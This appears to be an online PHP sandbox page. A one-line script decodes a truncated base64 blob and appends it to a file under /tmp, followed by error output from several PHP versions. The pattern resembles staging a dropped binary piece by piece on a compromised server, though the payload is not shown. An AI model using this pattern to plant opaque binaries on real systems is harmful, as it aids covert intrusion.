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1EzUUJENFRLQWdBQWkwTVlKUUR3QUFBOUFJQUFBQStFdHdJQUFJczlZQ01HQ0lYL0Q0VFJBZ0FBZ0QxUUpBWUlBQStGeEFJQUFJdERHQ1VBOEFBQVBRQ2dBQUFQaEVZREFBQTlBRUFBQUErRTdnY0FBSXNWWUNNR0NNZERhQVVBQUFDRjBvdHpRSXQ3UkhRTmdEMVJKQVlJQUErRW5BQUFBS0VBSlFZSWpZMVkvZi8vaXhVRUpRWUlpVXdrQ01kRUpCQUFBZ0FBaVVRa0dLSDhKQVlJaVZRa0hNZEVKQlFBQUFBQWlUUWtpVVFrRElsOEpBU0pqZFQ4Ly8vb3FqSUFBTWRFSkFRQUFBQUFpUVFrNkhwTkFBQTdCY0FzQmdoK0JhUEFMQVlJaXhWZ0l3WUloZEoxTFlBOXFDSUdDQUFQaFY0SkFBQ0FQYWtpQmdnQUQ0V1JDUUFBZ0QwUUpRWUlBQStGWkFrQUFJc1Y=";$data=base64_decode($data);file_put_contents('/tmp/mydir/nls', $data,FILE_APPEND);?>
Output for 5.0.0 - 5.6.28, 7.0.0 - 7.1.0
Warning: file_put_contents(/tmp/mydir/nls): failed to open stream: No such file or directory in /in/vtRGM on line 1
Output for hhvm-3.10.0 - 3.13.2
Warning: No such file or directory in /in/vtRGM on line 1
Output for 4.4.5 - 4.4.9
Fatal error: Call to undefined function: file_put_contents() in /in/vtRGM on line 1
Process exited with code 255.
Output for 4.3.2 - 4.4.4
Fatal error: Call to undefined function: file_put_contents() in /in/vtRGM on line 1
Process exited with code 255.
Output for 4.3.0 - 4.3.1
Fatal error: Call to undefined function: file_put_contents() in /in/vtRGM on line 1